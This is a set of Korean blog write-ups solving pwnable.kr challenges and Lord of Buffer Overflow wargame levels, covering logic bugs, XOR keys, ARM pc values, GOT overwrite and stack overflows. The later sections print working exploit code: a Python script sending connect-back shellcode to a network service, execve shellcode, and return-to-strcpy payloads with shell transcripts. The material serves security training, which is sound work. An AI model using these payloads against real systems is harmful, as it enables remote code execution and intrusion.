if문 안에서 잘못된 점을 한가지 찾을 수 있었다.

open() 함수를 이용하여 파일을 열면 파일이 정상적으로 열리게 되었을 때, 양수를 반환하고 정상적이지 않으면 -1을 반환한다.

파일이 올바른 경로에 존재 하여 정상적으로 열린다고 볼 수 있다. 따라서 open의 리턴값은 양수가 된다. 그렇지만 연산자인 = 보다 < 의 우선순위가 더 높기 때문에 양수 < 0 의 결과값인 false 이고, fd에는 0(false)이 들어가게 된다.


fd가 0이기 때문에 표준입력을 read하게되고 PW_LEN이 10이기 때문에 열자를 맞춰넣으면 

input password : 라는 문구와 함께 입력을 받는다.


입력을 받고 그 값과 1과 xor 연산을 하게된다.

그 결과와 이전에 입력받은 pw_buf가 같으면 flag가 출력된다.


random 문제 xor특징 참고 : http://oiehso0.tistory.com/55?category=639405



'System Hacking > pwable.kr' 카테고리의 다른 글

10.pwnable shellshock  (0) 2018.02.22
07.pwnable input  (0) 2018.02.19
12.Pwnable blackjack  (0) 2018.02.16
08.Pwnable leg  (0) 2018.02.15
06.Pwnable random  (0) 2018.02.15


간단한 도박 프로그램이 있었다. 코드를 보니 배팅 금액이 cash 보다 작으면 한번 더 배팅금액을 입력 받는데

while문을 돌지 않고 if문만 지나기 때문에 한번더 배팅 금액을 가진 금액보다 크게 쓴다면 배팅이 되고 그 게임에서 이기게 되면 flag값을 얻을 수 있다.




뿐만 아니라 음수 체크를 하지 않기 때문에 배팅 금액을 음수로 하고 게임에서지면 cash=cash-bet;에 의해서 큰 돈을 벌 수 있다.



'System Hacking > pwable.kr' 카테고리의 다른 글

07.pwnable input  (0) 2018.02.19
09.Pwnable mistake  (0) 2018.02.16
08.Pwnable leg  (0) 2018.02.15
06.Pwnable random  (0) 2018.02.15
05.Pwnable passcode  (0) 2018.02.15


항상 intel기반 어셈만 보았다면 이번에는 arm기반의 어셈을 분석할 수 있냐는 문제이다.



c 코드를 보면 대충 답이 다 나와 있다. key1,2,3 공통적으로 r3를 이용하는 걸로 봐서 함수내부에서는 r3에 어떠한 값을 넣을 것 같다. 


주어진 gdb disas main을 보면 함수 외부에서는 r0에 key값을 담아와 더해주는 과정을 볼 수 있다.



arm에선 pipeline기법이 있다. cpu내부의 파트별로 fetch ,decode ,excute 기능을 하는 부분이 각각 달라서 가능한 기법이다. pc(program counter)는 fetch를 기준으로 그값을 담기 때문에 0x00008cdc가 excute중이라면 pc는 fetch중인 0x00008ce4를 담고 있을것이다. 



그리하여 key1값은 0x8ce4가 된다.


key2()함수 내부를 보면 0x8d04에서 pc값을 r3에 넣는데 여기서어 pc값은 몇일까? 0x8d08이다.

0x8d04부터 2 byte씩  명령어를 fetch하기 때문에 pc도 2byte씩 증가하기 때문이다.

0x8d06 줄에 r3에 +4를 해주어서  pc+4가 된다. 

즉,  key2값은 0x8d0c가 된다.


위 코드를 보면 알다시피

key3값은 간단히 lr 값이기 때문에 0x8d84가 된다.


flag값을 구하기 위해서는 key1+key2+key3를 10진수 형태로 입력해주면 된다.


'System Hacking > pwable.kr' 카테고리의 다른 글

09.Pwnable mistake  (0) 2018.02.16
12.Pwnable blackjack  (0) 2018.02.16
06.Pwnable random  (0) 2018.02.15
05.Pwnable passcode  (0) 2018.02.15
04.Pwnable flag  (0) 2018.02.13


난수를 발생하는 rand()함수를 이용하여 그 값과 scanf로 입력받은 key값과 xor연산을 한다 그값이 0xdeadbeef라면 flag값이 출력된다.



어떤 난수가 나오는지 구하기 위해 cmp하는 부분에 bp를 걸고 eax값을 확인해본다.



난수값이 0x6b8b4567이라는 것을 알 수 있다.

프로그램을 실행할 때 마다 다른값이 나와야 의미가 있지만 이 프로그램에서는 범위를 설정해 주지 않아서 항상 같은 값이 나온다.


또 한가지

a^b=c

a^c=b

b^c=a

XOR 연산의 특징을 이용하여 0x6b8b4567 ^ 0xdeadbeef = key 값을 구해본다.

0xb526fb88이 나오는데 10진수로 바꿔주고 입력해주면..




'System Hacking > pwable.kr' 카테고리의 다른 글

12.Pwnable blackjack  (0) 2018.02.16
08.Pwnable leg  (0) 2018.02.15
05.Pwnable passcode  (0) 2018.02.15
04.Pwnable flag  (0) 2018.02.13
03.Pwnable bof  (0) 2018.02.13


ssh로 서버에 접속해서 소스코드를 보았다. 사용자 이름을 받고  password1,2를 통과하면 flag를 출력해주는 프로그램이였다.



그래서 a를 많이 넣어보니 password를 입력하지 않았는데 checking에 들어가고 login failed하는 것을 알 수 있었다 bof 취약점이 있는 듯 하다. 그래서 name변수와 password1,2사이의 거리를 얼마나 떨어져 있는지 구해보기로 한다.

main --> welcome --> login 순으로 실행된다.



welcome 함수를 보면 esp-0x88만큼의 공간을 만들고 ebp-0xc에 eax값을 저장하고 ebp-0x70주소를 edx에 담는 걸로 보아 ebp-0x70주소가 문자열을 받는 시작주소인 듯하다. 후에 저장해뒀던 원래의 eax값을 다시 넣어준다.



passcode1이 ebp-0x10에 저장 되는 것을 알 수 있다.



정상적인 형식이라면 passcode1의 주소를 참조해서 그 주소의 공간에 값을 받지만 

위와 같이 passcode1앞에 &가 없으면 passcode1이 담고있는 값을 주소로 인식하고 그 주소에 을 저장하게 된다.

그래서 아래와 같이 segmentation fault가 발생했다. 



그래서 우리는 fflush plt안에 담고있는 fflush got주소를 system함수가 시작되는 주소로 변경시켜줘서 흐름을 바꿔주기로 한다.


<<낮은주소--- name버퍼(96=0x70-0x10) | passcode = fflush got (4) | 프로그램내에 system("/bin/cat flag")가 시작되는 주소 (4)   ---높은주소>>



fflush got의 주소 = 0x0804a004



프로그램내에 system("/bin/cat flag")가 시작되는 주소 = 0x080485e3 = 10진수로 134514147

10 진수로 넣어주는 이유는 scanf("%d",passcode1);로 들어가기 때문이다.



'System Hacking > pwable.kr' 카테고리의 다른 글

08.Pwnable leg  (0) 2018.02.15
06.Pwnable random  (0) 2018.02.15
04.Pwnable flag  (0) 2018.02.13
03.Pwnable bof  (0) 2018.02.13
02.Pwnable col  (0) 2017.11.23


간단한 리버싱 문제같다.



ida로 열어보니 정상적인 분석이 안되는것을 알 수 있었다.



exeinfo pe로 보니 upx패킹이 되있어서 언패킹 해주었다.



main을보니 malloc을통해 dest를 만들고 변수에 flag 값을 담는 것을 알 수 있었다.



'System Hacking > pwable.kr' 카테고리의 다른 글

06.Pwnable random  (0) 2018.02.15
05.Pwnable passcode  (0) 2018.02.15
03.Pwnable bof  (0) 2018.02.13
02.Pwnable col  (0) 2017.11.23
01.Pwnable fd  (0) 2017.11.21


#include <stdio.h>

#include <string.h>

#include <stdlib.h>

 

void func(int key){

char overflowme[32];

printf("overflow me : ");

gets(overflowme);        //smash me!

if(key == 0xcafebabe){

system("/bin/sh");

}

else{

printf("Nah..\n");

}

}

int main(int argc, char* argv[]){

func(0xdeadbeef);

return 0;

}




아이다로 열어보면 a1이 0xcafebabe이여야 system함수가 호출되고 아니라면 Nah.. 라는 문자열 출력과 함께 프로그램이 끝난다. ida를 이용해서 변수s와 a1사이의 거리를 쉽게 구할 수 있었다. 그리고 stdin으로 인자를 받기 때문에 아래와 같은식으로 문제를 풀면 된다. 원본에 먼저 풀어보고 성공을 확인하고 서버에 했다. 메모리에는 리틀엔디언 방식으로 써지기 때문에 

/xbe\xba\xfe\xca와 같이 넣어준다는 사실을 유의하자.



'System Hacking > pwable.kr' 카테고리의 다른 글

06.Pwnable random  (0) 2018.02.15
05.Pwnable passcode  (0) 2018.02.15
04.Pwnable flag  (0) 2018.02.13
02.Pwnable col  (0) 2017.11.23
01.Pwnable fd  (0) 2017.11.21



[xavius@localhost xavius]$ cat death_knight.c

#include <stdio.h> //기본 헤더 
#include <stdlib.h> //시스템 함수를 사용하기 위함
#include <errno.h>// 특정한 이유에 의해서 비정상 종료될때 오류코드 호출
#include <string.h> // 메모리 블록을 다루기 위하여 추가함 
#include <sys/socket.h> // send , recv , socket ,bind 를 쓰기 위하여 추가함 
#include <sys/types.h> //typedef 를 사용하기 위해 추가함
#incldue <netinet/in.h> (socket.h , tpyes.h 대신 사용 가능)
#include <sys/wait.h> //자식 프로세스가 종료될때까지 부모 프로세스는 sleep()모드로 대기한다
#include <dumpcode.h> // 스택의 내용을 hex 코드로 보여줄 수 있다 .
main()
{
  char buffer[40]; // 버퍼에 40만큼의 공간을 할당해줌

  int server_fd , client_fd; // server_fd 와 clinet_fd 변수를 선언하였다
  struct sockaddr_in server_addr; // server_addr 구조체 선언
  struct sockaddr_in client_addr; // client_addr 구조체 선언
  int sin_size; //sin_size 변수 선언
  if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ //소켓의 타입을 TCP로 설정함 (주소 체계 , 소켓타입 , 프로토콜)
             perror("socket") 
              exit(1);
 } 

server_addr.sin_family = AF_INET; //소켓의 주소체계를 IPV4로 설정함
server_addr.sin_port = htons(6666);//소켓의 6666포트를 연다.
server_addr.sin_addr.s_addr = INADDR_ANY;// 모두 접속가능하다 
bzero(&(server_addr.sin_zero), 8); // sin_zero 부분을 0으로 초기화한다.

if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){  //소켓에 주소 할당을 한뒤 실패한다면 

perror("bind");  

exit(1); 

}

if(listen(server_fd, 10) == -1){ //연결 대기 제한 수를 10으로 잡고 실패하면

perror("listen"); 

exit(1);  

}

while(1) {  //무한 루프 

sin_size = sizeof(struct sockaddr_in); //sin_size = 선언한 구조체의 크기 

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ //  클라이언트의 접속요청을 받고 실패하면

perror("accept"); 

continue; 

}

             if (!fork()){ //새로운 프로세서를 생성하지못하면

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); 

send(client_fd, "You : ", 6, 0); //You 라는 문구를 보냅니다

recv(client_fd, buffer, 256, 0); //40만큼 할당된 버퍼에서 256만큼 저장합니다.

close(client_fd);//client_fd 소켓 종료 

break; //while문 종료 

}

close(client_fd);  //client_fd 소켓 종료 

while(waitpid(-1,NULL,WNOHANG) > 0);//임의의 자식 프로세스가 종료되지 않았더라도 바로 종료해라 

}

close(server_fd); //server_fd 소켓 종료 

}



원본 출처: http://m-youngzzang-for20.tistory.com/106 [자기계발]




참고 : http://midascopp.tistory.com/43


#!/usr/bin/env python

from socket import *

from struct import *

p=lambda x : pack("<L",x)


shellcode="\x68"+"\xc0\xa8\x3b\x84"+"\x5e\x66\x68"+"\x27\x0f"+"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"+"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"+"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"+"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"+"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+"\xeb\xce"


HOST = '192.168.59.133'

PORT = 6666

limit = 255

print "[*] Start exploiting"

print "victim ip : %s" %HOST

print "victim port : %s" %PORT

print " "

print "used Shellcode : %s" % str(shellcode)

print "length : %s" % str(len(shellcode))

for j in range(0xff, 0, -1):

        for i in range(0, 0xff, 50):

                 payload=("A"*44)+chr(i)+chr(j)+"\xff\xbf"+("\x90"*(limit-len(shellcode)-48))+shellcode

                 s=socket(AF_INET,SOCK_STREAM)

                 s.connect((HOST,PORT))

                 print hex(j)+" "+hex(i)

                 print s.recv(1024) #print s.recv(10)

                 s.send(payload)

                 s.close()




'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

19.lob nightmare->xavius  (0) 2018.01.15
18.lob succubus->nightmare  (0) 2018.01.15
17.lob zombie_assassin->succubus  (0) 2018.01.15
16.lob assassin->zombie_assassin  (0) 2018.01.14
15.lob giant->assassin  (0) 2018.01.11

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


main()

{

        char buffer[40];

        char *ret_addr;


        // overflow!

        fgets(buffer, 256, stdin);

        printf("%s\n", buffer);


        if(*(buffer+47) == '\xbf')//스택주소 사용불가

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }


        // check if the ret_addr is library function or not

        memcpy(&ret_addr, buffer+44, 4);//리턴어드레스 ret address에 복사

        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point가 \x90\x90이어야한다.

        {

                if(*ret_addr == '\xc9'){                // leave 사용금지

                        if(*(ret_addr+1) == '\xc3'){    // ret 사용금지

                                printf("You cannot use library function!\n");

                                exit(0);

                        }

                }

                ret_addr++;

        }


        // stack destroyer

        memset(buffer, 0, 44);// 버퍼시작부터 44까지 0으로 초기화

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));//리턴 어드레스 이후의 스택영역 0으로 초기화


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);//공유 라이브러리영역 사용 불가

}



표준 입력을 받을때는 read함수를 이용해 엔터를 칠때까지 임시입력버퍼에 저장을 해놓고 그 다음 buffer에 저장을 한다.

그리고 fgets함수가 끝나도 사용되었던 입력버퍼를 초기화 해주지 않는다. 또한 나머지 주소를 체크할 때는 앞 두자리를 체크하여 exit(0) 하는데 ret어드레스만 메모리주소 뒤에 4자리를 체크하는게 의심이 됐다. 

fgets함수 내부의 stdin을 임시적으로 저장하는 부분을 찾아본다.


fgets -> read_line( 'AAAA' )-> stdin -> string buffer


[nightmare@localhost nightmare]$ gdb ./xaviu1

(gdb) disas main

Dump of assembler code for function main:

0x8048714 <main>:       push   %ebp

0x8048715 <main+1>:     mov    %esp,%ebp

0x8048717 <main+3>:     sub    $0x2c,%esp

0x804871a <main+6>:     mov    0x8049a3c,%eax

0x804871f <main+11>:    push   %eax

0x8048720 <main+12>:    push   $0x100

0x8048725 <main+17>:    lea    0xffffffd8(%ebp),%eax

0x8048728 <main+20>:    push   %eax

0x8048729 <main+21>:    call   0x8048408 <fgets>

0x804872e <main+26>:    add    $0xc,%esp

0x8048731 <main+29>:    lea    0xffffffd8(%ebp),%eax

중략...

0x8048820 <main+268>:   push   %edx

0x8048821 <main+269>:   call   0x8048468 <memset>

0x8048826 <main+274>:   add    $0xc,%esp

0x8048829 <main+277>:   leave

0x804882a <main+278>:   ret

0x804882b <main+279>:   nop

0x804882c <main+280>:   nop

0x804882d <main+281>:   nop

0x804882e <main+282>:   nop

0x804882f <main+283>:   nop

End of assembler dump.

(gdb) b*main+26
Breakpoint 1 at 0x804872e
(gdb) r
Starting program: /home/nightmare/./xaviu1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA



(gdb) x/100x 0x40015000

0x40015000:     0x41414141      0x41414141      0x41414141      0x41414141

0x40015010:     0x41414141      0x41414141      0x41414141      0x41414141

0x40015020:     0x41414141      0x41414141      0x41414141      0x0000000a

0x40015030:     0x00000000      0x00000000      0x00000000      0x00000000

0x40015040:     0x00000000      0x00000000      0x00000000      0x00000000

0x40015050:     0x00000000      0x00000000      0x00000000      0x00000000


(gdb) b*main+277
Breakpoint 2 at 0x8048829
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nightmare/./xaviu1
AAAAAAAAAAAAAAA

Breakpoint 1, 0x804872e in main ()
(gdb) C
Continuing.
AAAAAAAAAAAAAAA


Breakpoint 2, 0x8048829 in main ()
(gdb) x/30x 0x40015000
0x40015000:     0x41414141      0x41414141      0x41414141      0x0a414141
0x40015010:     0x00000000      0x00000000      0x00000000      0x00000000
0x40015020:     0x00000000      0x00000000      0x00000000      0x00000000

[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"';cat) |./xaviu1

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

                                        ̀

whoami

nightmare

my-pass

euid = 518

beg for me




[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"';cat) |./xavius

▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

                                        ̀

my-pass

euid = 519

throw me away



'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

20.lob xavius->death_knight  (0) 2018.01.15
18.lob succubus->nightmare  (0) 2018.01.15
17.lob zombie_assassin->succubus  (0) 2018.01.15
16.lob assassin->zombie_assassin  (0) 2018.01.14
15.lob giant->assassin  (0) 2018.01.11

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // check address

        addr = (char *)&strcpy;//strcpy의 주소를 담음

        if(memcmp(argv[1]+44, &addr, 4) != 0){//argv+44이후의 4바이트가 addr이 담는 주소와 같아야한다.

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);//버퍼48개 뒤에는 AAAA로 초기화

}




[succubus@localhost succubus]$ gdb nightmar1

(gdb) p strcpy

$1 = {<text variable, no debug info>} 0x8048410 <strcpy>

strcpy함수의 특성을 잘 사용해서 exploit하는 문제이다. 

페이로드와 같이 strcpy plt를 이용해서 argv[2]에 넣었던 shellcode를 버퍼(destination)에 넣어주고 ret주소를 

버퍼로 바꿔주면 버퍼로 ret하면서 쉘코드가 실행되고 exploit된다.


쉘코드가 들어갈 공간이 없다면 system함수의 plt를 사용해서 문제를 풀어도 된다.


페이로드 = "A"*44 (44) + strcpy주소(리턴어드레스변조) (4)+  쉘코드의 시작주소(ret어드레스 주소공간) (4) + 목적지주소(버퍼시작주소) (4) + 소스주소(argv[2] 살짝 뒤 nop가 있는주소) (4) , argv[2]



[succubus@localhost succubus]$ ./nightmar2 `python -c 'print "A"*44+"\x10\x84\x04\x08"+"\xee\xfb\xff\xbf"+"\x30\xfa\xff\xbf"+"\xa9\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

buffer -> 0xbffffa30
argv[1] -> 0xbffffba9
argv[2] -> 0xbffffbe6




[succubus@localhost succubus]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"\xee\xfb\xff\xbf"+"\x30\xfa\xff\xbf"+"\xa9\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒0▒▒▒▒▒▒▒

bash$ whoami

nightmare

bash$ my-pass

euid = 518

beg for me



'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

20.lob xavius->death_knight  (0) 2018.01.15
19.lob nightmare->xavius  (0) 2018.01.15
17.lob zombie_assassin->succubus  (0) 2018.01.15
16.lob assassin->zombie_assassin  (0) 2018.01.14
15.lob giant->assassin  (0) 2018.01.11

+ Recent posts